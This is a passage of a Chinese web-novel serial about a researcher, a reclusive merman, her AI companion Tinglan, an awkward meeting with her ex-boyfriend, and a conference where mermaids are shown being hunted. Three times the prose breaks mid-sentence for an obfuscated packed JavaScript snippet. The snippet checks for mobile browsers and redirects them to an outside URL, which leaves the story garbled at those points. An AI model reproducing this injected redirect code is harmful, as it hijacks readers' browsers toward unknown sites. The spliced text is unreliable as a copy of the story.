“好吧好吧,就算你说的是真的,可那都是上辈子的事了,现在是新时代,提倡自由恋爱,强制爱那一套已经过时了,咱们得讲道理,你看你先把那个碳铅的……” 她说着说着,发现眼前人的表情越来越严肃。 那双幽蓝的眼睛直直盯着她,翻涌着愤怒。 许烟瓷审时度势,迅速把未完的话咽了下去。 银洄猛然站起。 许烟瓷吓了一跳,本能地往后退了一步。 该不会真的来霸道总裁那一套吧?什么“女人你成功的引起了我的注意”之类的?她可消受不起! 然而下一秒,银洄迅速冲出门外。 动作快得像一道残影,深蓝色的长发在夜风中扬起,眨眼就消失在黑暗中。 许烟瓷站在原地,整个人都凌乱了。 怎么了这是? 不会那几句话踩到他的痛处,把他气成失心疯了吧?这不至于吧?她也没说什么过分的话啊…… 正疑惑着,那张好看到惊艳绝伦的脸猛的贴到她面前—— 他又回来了,速度快得她根本没看清他是怎么回来的。 “我有急事出去一趟。”他说,声音很急,“等我回来。” 然后他又消失了。 许烟瓷眨了眨眼。 “唉!”她反应过来,冲出门去,“你还没说什么材料吸附碳铅!” 黑夜沉沉,月光寂寂。 除了远处被惊飞的几只鸟,没有任何回应。 那条鱼,跑了。 许烟瓷站在门口,夜风吹过来,有点凉。她看着空荡荡的花园,那些蓝色的花在月光下轻轻摇曳,像是在嘲笑她。 行吧。 看来得自己在这儿找答案了。 许烟瓷转身,重新走进别墅。 门在身后轻轻合上。暖黄色的灯光包裹着她,和外面的黑暗形成鲜明对比。 她站在玄关处,第一次认真打量起这栋房子。 之前来的时候,要么是昏迷着被抱进来,要么是满脑子想着救听澜,根本没心思看。现在静下心来,才发现。 这地方,还真是不一般。 玄关的地面铺着深色的大理石,纹理像海浪的纹路,在灯光下泛着幽幽的光泽。 墙上挂着一幅巨大的水墨画,画的是一片苍茫的海,远处有孤帆远影,近处有礁石嶙峋。画的下方摆着一个青花瓷瓶,瓶里插着几枝干枯的莲蓬,有种说不出的寂寥美感。 往里走,客厅比她想象的还要大。 挑高的穹顶,整面墙的落地窗,白天一定阳光满溢。但现在窗户被月光染成银白色,投下斑驳的光影。沙发是浅灰色的,柔软得让人想陷进去。茶几上摆着那套白瓷茶具,茶水已经彻底凉了。 最引人注目的是那面墙。 整面墙被做成了巨大的水族箱,蓝光幽幽,里面有珊瑚、海葵、各种颜色鲜艳的鱼在游动。一条小丑鱼钻出海葵,好奇地朝她看了一眼,又缩回去了。 许烟瓷走到水族箱前,看着那些鱼。 海水循环系统应该是顶级的,水质清澈,生态平衡。里面甚至还有几株她叫不出名字的深海珊瑚,在蓝光下缓缓舒展。 这条老鱼,还挺会享受的嘛。 她在心里默默吐槽。 住在山里,却弄了个海水水族箱。是想家了吧?想回又不敢回,只能看着这些鱼解馋。 许烟瓷忽然想到一个问题:他是怎么这么有钱的? 这栋别墅,这些古董字画,这个顶级的水族箱系统——哪一样不要钱?而且不是小钱。 转念一想,她释然了。 活了这么久,没钱才是大问题。只要不是超级大懒蛋,随便活个几百年,都会有钱的。 她继续往里走。 穿过客厅,是一条长长的走廊。走廊两侧挂着更多的画,有博物馆消失的世界名画,也有当代新锐画家的潮流作品。 许烟瓷倒吸一口冷气。 这些要是真的……那得值多少钱? 走廊尽头,一扇门吸引了她的注意。 那扇门很特别,不是普通的木门,而是深蓝色的,上面雕刻着繁复的纹路。走近了看,才发现那些纹路是海浪和游鱼,还有隐隐约约的人鱼身影。雕刻精细得让人惊叹,每一片鳞片都清晰可见。 许烟瓷好奇地推开门。 门无声地滑开,露出一间巨大的书房。 她的眼睛瞬间瞪大了。 这哪里是书房,分明是一座小型图书馆! 房间呈圆形,穹顶高得看不见顶,四周全是顶天立地的书架。书架上密密麻麻摆满了书,有些书脊已经泛黄发脆,一看就有年头了。空气里有淡淡的墨香和纸张陈化的气息,混在一起,让人莫名心安。 许烟瓷走进去,脚步很轻,像是怕惊扰了什么。 她随手抽出一本,是手抄本的《山海经》,纸张已经发黄,上面的字迹工整得像是印刷的。翻开扉页,落款处写着“永乐三年春月抄”。 永乐三年。 那是明朝。 她小心翼翼地把书放回去,又抽出旁边一本。是《博物志》,同样是手抄本,同样古老。 许烟瓷慢慢往前走,视线扫过那些书架。这里藏着的,很多都是流传下来的孤本、善本,有些她只在研究所的资料库里见过影印版。 她忽然想起林薇说过的话:真正的有钱人,不买跑车不买游艇,买书。买那些有钱也买不到的书。 这条鱼,是真的有钱。 许烟瓷继续逛着,眼睛都快要看花了。 然后,她停住了。 面前是一个独立的书架,不大,却摆得格外整齐。 从上到下,全部都是关于海洋生物的书籍资料。 最上面是春秋战国时期的竹简复制品,写着《海错图》的篇章。往下是汉代的帛书,记载着“南海有鲛人”的文字。再往下是唐宋的刻本,明清的手抄本,民国的铅印本,现代的精装本。 按照时间顺序,从古到今,整整齐齐排列着。 许烟瓷的手轻轻拂过那些书脊。 春秋、秦汉、唐宋、元明、清、民国、现代…… 几千年的时光,就这样被她握在指尖。 左下角的那一排,放着的不再是书,而是各种光碟和录像带。有些已经老旧,有些还是新的。她蹲下看了看,标签上写着“1987年东海考察”“1995年南海捕捞记录”“2003年深海声呐影像”…… 都是关于人鱼的资料。 这几千年,他一直在收集。收集所有关于自己族人的信息,收集这个人类世界对他们的一切记录。 许烟瓷的心忽然软了一下。 她没有心情仔细查看,正准备起身离开,余光忽然瞥见书架旁边有什么东西在闪烁。 是一块金属面板,上面有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277108|198305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个红色的指示灯,正一明一灭地亮着。 信号屏蔽系统的开关。 许烟瓷眼睛一亮。 她走过去,仔细端详那块面板。上面没有文字,只有一个圆形的按钮,按钮周围有一圈暗红色的光。 她深吸一口气,按了下去。 嗡…… 轻微的机械运转声从四面八方传来。窗外,那些月光下的花园、蓝色的花朵、蜿蜒的石板路…… 一层金属壳缓缓覆盖上来,像花瓣收拢,把整个世界隔绝在外。 室内的灯光骤亮。 头顶的灯不知何时全部亮起,光芒刺得许烟瓷眼睛发酸。她抬手挡住光线,等眼睛慢慢适应。 然后她放下手,看清了眼前的景象。 那层金属壳覆盖了所有的窗户,把整栋别墅包裹成一个密闭的空间。金属壳表面有一层透明的厚重涂层,涂层之下,隐约可见细密的碳纤维纹路。 碳铅粉末,应该就覆盖在最外层。 许烟瓷盯着那层金属壳,心里忽然涌起一个念头: 这是个非常明智的设计。 碳铅在最外层,一旦有高级探测器识破屏蔽伪装前来探知,首先接触到的就是这层粉末。轻则扰乱信号,重则让电源线路瘫痪。 听澜…… 听澜身为最先进的人工智能,不可能不知道靠近这里的后果。 那他…… 许烟瓷的心猛地揪紧。 他是明知道靠近的后果,为了找到她,还是不计后果地硬闯的吗? 这是系统设定吗? 还是…… 她抬起手,轻轻触碰那层金属壳。表面光滑冰凉,透明的涂层厚实坚固。碳纤维在涂层之后,隐约可见细密的编织纹路。估计里层还有铅粉。 真是精妙的设计。 可是!听澜身上沾了那么多,擦拭根本不管用。 那条鱼是怎么把这些东西收集过来,做成这样的屏蔽系统的? 许烟瓷忽然想起一个问题:银洄在山里住了七十三年。这七十三年,他是不是每天都在琢磨这件事?琢磨怎么隔绝人类,怎么保护自己,怎么不让任何人找到他? 七十三年。 一个人住在这远离海的别墅里,种满蓝色的花,收集几千年的资料,制造这样的屏蔽系统。 她可不想等他回来,再知道答案。 谁知道那条鱼什么时候回来?万一他明天才回来呢?万一他后天呢?听澜还在家里等着她。 许烟瓷拿出手机,对着那层金属壳拍了几张照片。研究所里虽然也有信号屏蔽系统,但远没有这里的精妙。她可以去问研究所负责安保系统的同事,兴许会有所收获。 起码比在这儿干等着那条鱼回来要强。 如是想着,她转身走回书房,找到那个开关。 手指按下去的瞬间,嗡鸣声再次响起。 金属壳一层层收拢,退去。月光重新从窗户倾泻进来,洒在她身上。花园里的蓝色花朵在月光下轻轻摇曳,像是什么都没发生过。 灯光也暗淡下来,恢复了之前的柔和。 那条鱼走得那么急,表情那么严肃……是出什么事了吗? 她摇了摇头。 管他呢。爱去哪去哪,她现在的首要任务是救听澜。 许烟瓷转身,大步朝门口走去。 走到门口时,她忽然停住脚步。 回头看了一眼那栋别墅。 月光下,它安静地伫立在那里,像一只沉睡的巨兽。花园里的蓝色花朵轻轻摇曳,像是翻涌的海潮。 许烟瓷的心忽然有些乱。 夜风很凉。 她沿着那条被刨坏的石板路,深一脚浅一脚地往下走。 10. 余温 许烟瓷驱车到了研究所时,月亮已经移到西天。 初秋的夜风带着凉意,吹得路边的梧桐叶沙沙作响。她把车停在员工停车场,看着那栋熟悉的大楼。大部分窗户已经黑了,只有少数几个科室还亮着灯。 下班后办公楼会清人封闭,避免机密外泄。这是研究所的规矩,她比谁都清楚。 所以她只能去分配的员工公寓将就一晚。 说是公寓,其实就是几栋老旧的筒子楼,在研究所最西边的角落里。隔音不好,设施老旧,除了毕业时候的实习期,她很少在这儿过夜。 许烟瓷爬上四楼,推开407的门。 屋里有一股淡淡的霉味,太久没人住了。她打开窗通风,简单收拾了一下,和衣躺在床上。 天花板上有道裂缝,从床头延伸到窗户,像一条干涸的河床。 她盯着那道裂缝,思索那条鱼,到底去哪儿了? 走得那么急,是出什么事了吗? 她摇了摇头,把那些念头赶出去。管他呢,她现在的首要任务是救听澜。 本想熬到天亮,却不知何时迷迷糊糊睡着了。 清晨是被一阵交谈声吵醒的。 隔音是真差。隔壁的声音清清楚楚传过来,像在自己耳边说话。 “陈若柠,听说你们科室出了个狐狸精,勾引赵主任让人家老婆找上门了?” 许烟瓷起身。 这个声音她熟悉。生物溯源与采集科的安夏,研究所里有名的长舌妇。嘴碎,爱挑事,业务能力一般,嚼舌根的本事一流。 “安姐,赵主任什么人大家都心知肚明。”这是小陈的声音,听起来很无奈。 “这种事儿一个巴掌可拍不响,”安夏的语气极尽讽刺,隔着墙都能想象出她那张刻薄的嘴脸,“整个研究所谁不知道那个狐狸精欲求不满,还整了个AI男友。AI男友满足不了她,还勾引人家有妇之夫。怎么不见赵主任骚扰你我?” “安姐……” 许烟瓷的火气蹭地冒上来。 她一把推开门,“嘭”得一声关上,恰好碰见隔壁走出来的陈若柠和安夏。 走廊里,三人相对。 陈若柠穿着一件简单的卫衣,头发有些乱,显然也是刚起。看到许烟瓷出来,她的脸上闪过一丝尴尬,强笑着打招呼: “许工……你不是在休假吗?怎么在这儿……” 安夏的脸色骤变。 那张抹着厚粉的脸先是白了,又红了,最后涨成猪肝色。她的嘴张了张,想说什么,却被许烟瓷抢先一步。 “怎么,安姐在的地方,我就得避她锋芒不成?” 许烟瓷靠在门框上,抱着手臂,似笑非笑地看着她。 “溯源与采集科的样本研究完了,开始研究所里的人情世故了?” 安夏的脸色更难看了。 “不过也是,”许烟瓷继续说,语气轻飘飘的,“毕竟安姐连‘欲求不满’这种词都能用错地方,你确定这个词随便安在一个女性身上合适?还是说,安姐自己有什么心得想分享?” “你——” “还有,”许烟瓷打断她,“‘一个巴掌拍不响’这种话,安姐用在职场性骚扰上,是想说我被骚扰是我活该?” 安夏的脸已经涨成紫色。 “我建议安姐,”许烟瓷微微一笑,“有时间嚼舌根,不如多读几本书。《韩非子》《红楼梦》《海洋异种生物研究所职工行为规范手册》——都不错。读完了再来跟我讨论‘欲求不满’和‘一个巴掌拍不响’的事。” 她说完,不再理会安夏那张扭曲的脸,淡定地朝楼梯口走去。 身后传来安夏气急败坏的声音: “许烟瓷!你——” “安姐安姐,别生气……”小陈在劝。 许烟瓷没有回头。 她走下楼,穿过那条老旧的水泥走廊,心里最后那点起床气都散了。 跟这种人计较,不值当。 安保科在行政楼三层,最里面那间。 许烟瓷敲了敲门,里面传来一个懒洋洋的声音:“请进。” 她推门进去。 三面墙上从上到下布满了屏幕,密密麻麻,看得人眼花。办公楼、实验室、仓库、停车场……所有区域的实时画面都显示其中,像一只只眼睛在无声地注视着一切。 南面墙的左上角,有一个黑了的屏。 本应该显示的是他们科室——A区实验室。可是那条人鱼破坏水缸逃走以后,到现在还没修好。黑漆漆的屏幕像一块伤疤,提醒着那天发生的一切。 许烟瓷收回视线,看向办公桌。 桌前有个人背对着她,坐在人体工学椅上,翘着脚搭在桌面上。那人低着头按手机,手指飞快,嘴里还念念有词: “注意隐蔽,还剩三个人。” 许烟瓷一愣。 是哪个胆子大的,居然敢在安保科这样光明正大地玩游戏? 她正要开口,那人抬脚一蹬办公桌,收回搭在桌面上的脚,椅子转了过来。 四目相对。 许烟瓷浑身一僵。 季野。 那张脸,她太熟悉了! 剑眉星目,鼻梁高挺,嘴角永远挂着一丝痞痞的笑。头发剪短了,皮肤成了健康的小麦色,但那双眼睛还是和从前一样,带着点玩世不恭的散漫。 他不是应该在国外花天酒地搂着美女蹦迪吗? 怎么会在这儿?! “这么近也杀不了,你们都是废物吗?!”季野对着手机愤然道,手指猛戳屏幕。 许烟瓷站在那里,一时不知该说什么。 分开三年,没想到他沉迷游戏的状态倒是一点没变。虽然他们在一起挺突然,分开得也很仓促,可许烟瓷见到他还是觉得有些尴尬。 毕竟那是她唯一谈过的恋爱。 她的视线扫过那张熟悉的脸,忽然想起大学时候的事。那些她以为的真爱,后来才知道不过是他的一时兴起。三个月,一条分手短信,结束得干干净净。 许烟瓷垂下眼,转身就往外走。 “唉!烟瓷,别走别走!” 身后传来椅子刮地的刺耳声,紧接着是急促的脚步声。季野猛按了几下手机,把手机扔在桌上,长腿一迈,几步就追了上来。 一只手拦住她的去路。 “你还没说,来这有啥事呢。”他站在她面前,低头看她,还是那副吊儿郎当的样子。 许烟瓷无奈地合了合眼。 三秒后,她睁开眼,看向他。 “你们科的其他人呢?”她问,语气公事公办。 “下海了。”季野眨眨眼。 “啊?!” “不是那种下海!”他赶紧解释,挠挠头,笑得露出一口白牙,“采集部人手不够,让我们科的人去帮忙。现在整个科室就剩下我跟董锐两个人。” “董锐呢?” “休婚假了。”他摊摊手,一脸无辜,“所以就剩下我一个。” 许烟瓷眼前一黑。 白跑一趟! 她在心里暗叫,面上却努力维持着平静。 “烟瓷,你这是什么表情?”季野凑近了一点,一脸受伤,“虽然这周我爸才托宋院给我安排进来的,但是也不代表我的能力有问题好不好?好歹我也是藤校的硕士啊!” 许烟瓷无力吐槽。 他那个藤校是怎么上的,她实在清楚。SAT有人替考,论文有人代写,毕业设计是请枪手做的……就差没把“花钱买学历”几个字写在毕业证上了。 季野双手抱胸,用肩膀撞了她一下,凑到她面前,眨了下眼,笑道: “我也是很有能力的。” 许烟瓷看着他。 那张脸离得很近,近到能看清他睫毛的弧度。三年了,他还是那副模样,吊儿郎当,没个正形,笑起来像只偷到腥的猫。 她忽然想起大学时候的事。 那时她以为那是真爱。他追她追得轰轰烈烈,送花送礼物,在宿舍楼下弹吉他唱歌,搞得全校皆知。室友们都说她走运,被富二代看上,以后吃喝不愁。 可仅仅三个月,这段感情就结束了。 她后来才知道,他和别人打赌,赌“能否搞定那个冰山学霸”。 钞能力也是一种能力,她承认。 许烟瓷收回思绪,翻出手机里的照片,放到他面前。 “那你看吧。”她说,语气淡淡的,“我要找图片上这种材料。” 季野皱着眉拿过来,认真盯着看了一会儿。 许烟瓷在心里翻了个白眼,是他非要自取其辱。 “是金固–7。”季野忽然说。 许烟瓷一愣。 “一种吸附碳纤维和铅粉的复合材料。”他补充道,抬头看她,“你找这个干嘛?” “你真的知道?”许烟瓷有些不可置信。 “当然,别质疑我的专业。”季野把手机还给她,双手插兜,下巴微扬,一脸得意,“虽然我的主要任务是泡妞打游戏,但是专业上的一点难不住我好吗!” 许烟瓷看着他,眼神复杂。 “哪里有?”她问。 “这不是巧了,”季野转身走到办公桌前,拉开抽屉,“办公室就有。” 他拿出一个游戏机。 许烟瓷气得抬脚要走,她实在没时间跟他开玩笑。 “别走别走!”季野急得边拦边拆游戏机,手指飞快地撬开后盖,从里面扣出一个金色的长条,“这个就能吸附!” 他把那个金色长条举到她面前,笑得像只等待表扬的大狗。 许烟瓷盯着那个金色长条,又看了看他。 “借我用用。”她一把拿过来,“谢谢!” 说完,她转身就跑。 身后传来季野的声音:“唉!烟瓷!用完了记得还我!那是我限量版的,超贵!” 声音越来越远。 许烟瓷攥紧手里的金属条,跑出行政楼,钻进车里,一脚油门踩到底。 车子疾驰在清晨的街道上。 初秋的阳光从车窗照进来,落在她握着方向盘的指尖上。她的手有些发抖,不知道是刚才跑的太快,还是因为别的什么。 很快,她到了家。 推开门,客厅里还是她离开时的样子。听澜保持着那个姿势坐在沙发上,一动不动,像一尊雕塑。阳光从窗帘缝隙里透进来,落在他身上,给那张棱角分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277109|198305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明的脸镀上一层柔和的光。 许烟瓷走过去,在他面前蹲下。 近距离看,那些碳铅粉末更清晰了。它们沾在他身上,像一层灰蒙蒙的雾,把他的光芒都遮住了。 她深吸一口气,拿出那个金色金属条。 季野说得没错,这确实是一种吸附复合材料。拿在手里沉甸甸的,表面有细密的纹路,在光下泛着暗暗的金色光泽。 她先从他脸上开始。 那些粉末很细,细到几乎看不见,但金属条靠近时,它们就像被磁铁吸引的铁屑,纷纷从皮肤表面剥离,吸附到金属条上。 许烟瓷的动作很轻。 她一点一点地移动金属条,从额头到眉骨,从眉骨到鼻梁,从鼻梁到脸颊。他的皮肤很白,是那种常年不见阳光的玉石般的白。睫毛很长,安静地垂着,在眼睑上投下浅浅的阴影。 额头和眉骨清理干净了。 接下来是鼻梁。 她的手指顿了一下。 他的鼻梁很高,线条流畅,像最好的工匠用最精细的工具雕刻出来的。 她看着那张脸,忽然想起第一次见到他的时候,在餐厅里,他穿着白衬衫,站在桌边,说“你的伴侣,听澜”。 那时候她还以为他只是一个普通的AI。 一个按照程序运行没有感情的机器。 可现在…… 她垂下眼,继续清理。 脸颊,下颌,脖颈。 金属条顺着他的颈线往下移动,那些粉末一点点被吸附。他的喉结很突出,随着她动作的靠近,那截凸起似乎微微动了一下。 许烟瓷停住。 她盯着他的喉结,又看了看他的眼睛,还是闭着的。 是错觉吧。 她继续往下。 衬衫领口敞开的地方,露出一小片胸膛。那些粉末也沾在那里,在紧实的肌肉纹理上蒙了一层灰。 许烟瓷的手有些抖。 她把金属条探进去,沿着锁骨的弧度移动。那些粉末被吸附时发出极轻微的“嘶嘶”声,像什么东西在悄悄融化。 清理干净了。 再往下,是胸膛。 她的手停在半空。 那片胸膛她昨晚见过……衬衫敞开的时候,月光下,那八块腹肌和清晰的人鱼线让她脸红心跳。现在虽然隔着衬衫,但布料太薄了,薄到能隐约看见下面的轮廓。 许烟瓷咬了咬牙。 救他要紧,救他要紧。 她把金属条贴上去。 衬衫的布料很软,金属条隔着那层薄薄的棉,一寸一寸地往下移动。她能感觉到下面的肌肉纹理,紧实又温热,随着她的动作微微起伏。 一下,一下。 像是呼吸。 可他不是关机的吗? 许烟瓷的心跳开始加速。她不敢多想,只能继续移动金属条。从胸口到腰侧,从腰侧到腹部…… 腹肌的轮廓太清晰了。 每一块都是精心雕刻出来的,隔着衬衫也能感觉到那种紧实的质感。金属条划过时,那些肌肉似乎微微收紧了一瞬。 许烟瓷的手一抖。 她深吸一口气,强迫自己集中注意力。 腹部清理完,该到腰了。 她想起昨晚——后腰那个位置,藏着开关。她的手指顺着脊柱的凹陷往下摸索,在那道浅浅的沟壑里找到那个圆形凸起。 现在金属条也要经过那里。 许烟瓷把金属条移到腰侧。 他的腰坚实却很窄,窄到她的两个手掌几乎能覆盖。金属条贴着皮肤缓缓移动,那些粉末一点点剥离。她能感觉到腰侧肌肉的线条,紧实流畅,随着她的动作轻轻绷紧。 一下,又一下。 像是有生命在回应她。 许烟瓷的呼吸开始乱了。 她加快速度,把金属条移到后背。后背的肌肉更宽厚,肩胛骨的轮廓清晰,脊柱的凹陷像一道浅浅的河谷。她顺着那道河谷往下移动,一直到后腰…… 那里有一个微微凸起的地方。 圆形,很小,藏在腰窝的位置。 开关。 许烟瓷的手停在那里。 昨晚,她按下去的时候,他醒了。 现在…… 她咬了咬牙,继续清理。金属条扫过那个位置时,那小块皮肤似乎轻轻颤了一下。 只是一瞬,快得像错觉。 后背清理完了。 然后是手臂,手指。 腿…… 许烟瓷跪在他面前,一点一点地移动金属条。从大腿到膝盖,从小腿到脚踝。每一个细节都不放过,每一寸皮肤都要清理干净。 整个过程持续了将近一个小时。 等她终于放下金属条时,额角已经渗出细密的汗珠。她抬手擦了擦汗,看着眼前的听澜。 那些灰蒙蒙的粉末已经全部清除了。他坐在晨光里,白衬衫微微敞开,露出干净的胸膛。睫毛安静地垂着,皮肤泛着玉石般温润的光。 像一尊沉睡的神祇。 许烟瓷看着他,忽然觉得有些口干舌燥。 她移开视线,深吸一口气,然后伸出手,探向他后腰那个位置。 11. 角落 指尖触碰到圆形的开关,她明显感觉到自己的耳尖在发烫。 听澜的身体轻轻一震。 那双眼睛缓缓睁开。 晨光落进他眼里,把那对深褐色的瞳孔染成浅浅的金色。他看着她,瞳孔微微收缩,然后聚焦。 “烟瓷。” 他的声音还有些沙哑,带着刚启动时的低沉。 许烟瓷的心跳漏了一拍。 她就跪在他面前,离得那么近,近到能看清他睫毛上沾着的一缕晨光。他的手忽然抬起,轻轻托住她的脸,眼神温柔得像要化开。 “辛苦了。”他说,“谢谢你。” “你……你自己穿好衣服。”她闷声说,转身就往厨房跑,“我去做早饭!” 身后,似乎传来一声极轻的笑。 许烟瓷跑进厨房,把门关上,靠在门上大口喘气。 心跳快得像要从胸腔里蹦出来。 她抬手按住胸口,那里咚咚咚地跳着,完全不听使唤。 半晌,她忽然骂了一句: “许烟瓷,你出息点!不过一个机器人而已!” 早餐后,许烟瓷把自己关进书房。 明天就是研究会了,来的都是各国行业顶尖的学术大拿,她不敢怠慢。文稿里的每一句话,PPT里的每一个数据,都得反复斟酌。 她打开电脑,调出之前整理的资料,开始一个字一个字地修改。 那些专业术语要精准,那些引用文献要核对,那些结论推导要严谨,不能有丝毫差错。 阳光从窗户照进来,落在她专注的侧脸上。她时而蹙眉思索,时而快速敲击键盘,时而翻看手边的专业书籍。 时间一分一秒地过去。 窗外的光线从明亮变成柔和,又从柔和变成昏黄。 听澜几次端着咖啡进来,都只是轻轻放在桌边,看她太过投入,便默默退出去。 傍晚时分,他再次推开门。 许烟瓷趴在电脑前,睡着了。 手臂枕着头,侧脸压在手臂上,睫毛安静地垂着,在眼睑上投下浅浅的阴影。电脑屏幕还亮着,光标在文档末尾一闪一闪,像是也在等她醒来。 听澜放轻脚步走过去。 他就站在她身边,低头看着她。 这些日子,她的精神一直紧绷着吧。 他被主人设计的高敏的鼻子,能闻出来她身上沾染了那些地方的气息,她昨天跑了不少地方。 是在为他吗? 听澜弯下腰,轻轻把她抱起来。 她的身体很轻,轻得像一片羽毛。她在他怀里动了动,眉头微微蹙起,像是在梦里还在为什么事烦恼。但很快,感觉到了那个让她安心的怀抱,眉头又松开了。 他把她抱回房间,放在床上,轻轻盖上毯子。 毯子掖好的时候,她翻了个身,脸埋进枕头里,呼吸变得绵长均匀。 听澜站在那里,看着她。 光从窗户照进来,落在她脸上,把她安静的睡颜镀上一层柔和的光晕。 他忽然想起她刚才那句话,“不过一个机器人而已”。 可机器人,会有和人类一样的感情吗? 从上次冲进研究所将她从实验室救出来以后,他自行修复了一些线路,再也感受不到那股让他不适的电流了。 转身,回到书房,在她电脑前坐下。 屏幕上的文档还开着,光标还在闪烁。他调出她整理的资料,开始一份一份地看,一份一份地核对。 PPT也重新排版了一遍,每一页的配色都调整到最舒适的视觉状态。 夜很深了。 书房的灯一直亮着。 那束光透过门缝,落在走廊的地板上,像一道安静的守护。 许烟瓷这一觉睡得特别踏实。 一夜无梦,直接睡到了第二天早上。 阳光从窗帘缝隙里透进来,落在被子上,暖融融的。她在床上赖了几秒,然后猛地睁开眼睛。 七点零五! 遭了遭了,九点钟研究会开始,材料她还没整理完! 她慌忙从床上跳下来,拖鞋都来不及穿,光着脚就往书房跑。 一出门,迎面撞上一个温热的胸膛。 “嘶——” 她揉着额头后退一步,抬头看见听澜站在面前。他穿着一件干净的白衬衫,手里端着托盘,托盘上放着热牛奶和几片烤得金黄的吐司。 “先吃早餐吧。”他说,嘴角带着淡淡的笑。 “来不及了!”许烟瓷绕过他就想跑,“东西还没弄完。” “弄好了。” 她的脚步顿住。 “在桌上。”听澜笑着道。 许烟瓷转头看他,又看向书房的方向。她快步走进去,果然看见书桌上放着一个厚厚的文件夹。 她翻开,文稿整整齐齐地打印出来,上面有她熟悉的字迹,也有他补充的批注。PPT已经导出成文件,U盘就贴在文件夹封面上。 连细节都那么妥帖。 明明说过不让人家帮忙,自己倒是睡得雷打不动。 听澜端着托盘走进来,把牛奶和吐司放在桌上。 “九点钟开始,现在还不晚。”他说,语气平静得像在陈述事实,“我已经远程帮你调试好了会场的设备。一会儿陪你一起去。” 顿了顿,他又补充道: “饱吹饿唱。吃饱了,才有力气吹牛。” 许烟瓷愣了一下,然后笑了。 这个人,什么时候学会说这种话了? 她端起牛奶喝了一口,温度刚刚好。吐司也烤得恰到好处,外酥里软,抹着她喜欢的那款果酱。 他的不敢直视她,只是站在窗边,玻璃中有她的倒影,只能这样静静地看着她,脑海里有什么在疯长。 —————— 会场在市中心的国际会议中心。 许烟瓷到的时候,门口已经停满了车。各国牌照、各种车型,穿着正装的研究员们三三两两地往里走,手里拿着会议议程,嘴里讨论着专业术语。 她深吸一口气,走进会场。 里面比想象中更大。穹顶高挑,水晶灯璀璨,一排排座椅整齐排列,最前方是巨大的演讲台,身后是一整面墙的LED显示屏。各国的国旗插在演讲台两侧,在灯光下显得庄重而肃穆。 参会的人形形色色, 一个白发苍苍的老教授正跟西装革履的中年学者交谈。 戴着厚厚眼镜的青年研究员拿着三明治一边吃一边在笔记本上记录着什么。 这里有不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277110|198305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同的肤色,不同的语言,但眼里都有同样的光——对学术的敬畏和热忱。 许烟瓷找到自己的位置坐下。 听澜没有进来,他说在休息区等她。但她知道,他就在那里,只要她一回头,就能看见。 主持人上台,宣布会议开始。 先是介绍到场的重要人物——德国的海洋生物学权威,英国皇家学会的院士,日本深海研究所的所长,一个个如雷贯耳的名字,一个个在教科书上才能见到的人。 许烟瓷的手心有些出汗。 第一个发言的是德国研究员,满头白发,精神矍铄。他展示了最新的研究理论,关于深海热泉生态系统的形成机制。那些数据和模型,严谨、精准,让人叹服。 第二个是英国研究员,一位气质优雅的中年女性。她主要介绍国家研究所最先进的海底搜捕船——配备着最先进的声呐系统,最精密的机械臂,最深潜的无人探测器。PPT上,那艘船在阳光下闪闪发光,像一座移动的海上堡垒。 “去年,我们的船在北大西洋有了重大发现。”她的声音通过翻译传出来,“我们捕捉到了传说中的人鱼踪迹。” 身后的大屏上,开始播放一段视频。 画面很晃,像是从高速行驶的船上拍的。海浪翻涌,灰白色的天空,远处有几个黑点在移动。镜头拉近—— 是人鱼。 不止一条。 他们在逃。 画面切换成水下摄像头的视角。搜捕船的机械臂伸向那些逃窜的身影,渔网张开,像一只巨兽的嘴。有人鱼撞上网,拼命挣扎,尾巴拍打出白色的泡沫。海水开始变红,越来越红,最后整个画面都被染成暗红色。 那些身影渐渐不动了。 许烟瓷的呼吸开始变得急促。 她忽然想起那个梦…… 想起那些笼子里蜷缩的人鱼,想起石台上层层叠叠的血迹,想起刀锋落下时凄厉的尖叫。那些画面和眼前的大屏重叠在一起,分不清是梦还是现实。 她的手攥紧衣角。 整个人都在发抖。 呼吸越来越急,越来越浅,像被人掐住了喉咙。手脚冰凉,眼前发黑,那些血腥的画面像潮水一样涌过来,要把她淹没。 忽然,一只手覆盖上她的手背。 温暖又坚定。 那温度从她的手背渗进去,沿着血管往上走,走到手腕,走到手臂,走到心脏。 “不怕的,烟瓷。” 那个声音很轻,很柔,带着蛊惑人心的力量。 “我在你身边。” 许烟瓷浑身一震。 那些涌过来的潮水,像是被什么无形的力量挡住了。她从那片血腥的深海里浮上来,浮出水面,呼吸到第一口新鲜的空气。 她转过头。 听澜不知什么时候进来了,就坐在她身边。他的眼睛看着她。 他的手还覆在她手上,稳稳的,暖暖的。 